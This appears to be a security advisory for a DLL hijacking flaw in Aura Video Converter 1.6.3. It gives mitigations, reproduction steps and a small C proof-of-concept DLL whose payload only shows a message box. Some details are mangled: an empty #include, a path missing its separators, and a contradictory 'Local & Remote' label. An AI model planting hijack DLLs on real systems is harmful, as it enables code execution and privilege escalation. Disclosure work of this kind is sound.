Aura Video Converter 1.6.3 – DLL Injection/Code Execution

A local dll injection vulnerability has been discovered in the official Aura Video Converter v1.6.3 software. The issue allows local attackers to inject code to vulnerable dynamic link libraries to compromise the process or to gain higher system access privileges. Thus allows a local attacker to compromise the system process of the affected software to followup with manipulations.

(Copy of the Vendor Homepage: http://www.aura4you.com/)

Vulnerable Software:
[+] Aura Video Converter

Vulnerable Version(s):
[+] v1.6.3

Vulnerable Libraries:
[+] nvcuvenc.dll

Date of Discovery:
==================

2016-10-04

Exploitation Technique:
=======================

Local & Remote

Platfom Tested:
===============

Windows 7

Solution – Fix & Patch:
=======================

1/ Whenever possible, use a full path when loading a library.
2/ Delete the current directory from the search path by using ‘SetDLLDirectory;’
3/ Do not use ‘SearchPath’ to locate a library. ‘SearchPath’ was not intended to search for libraries to load into the application’s process space and uses an unsecured search order.
4/ Do not attempt to load libraries only to identify the version of Windows. Instead, use ‘GetVersionEx’ or a similar function offered by the Windows API.

Levels Risk :

Proof of Concept (PoC):
=======================

The dll hijack vulnerability can be exploited by local attackers with restricted system user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the local vulnerability ...
1. Compile dll
2. Rename the dynamic link library to nvcuvenc.dll 
3. Copy nvcuvenc.dll to C:Program FilesAura4YouAura Video ConverterAuraVideoConv.exe
4. Launch AuraVideoConv.exe
5. Now the MessageBox executes!


-- PoC Exploit --
#include 
#define DllExport __declspec (dllexport)

BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{
dll_hijack();
return 0;
}

int dll_hijack()
{
MessageBox(0, "DLL Hijacking By ZwX!", "DLL Message", MB_OK);
return 0;
}

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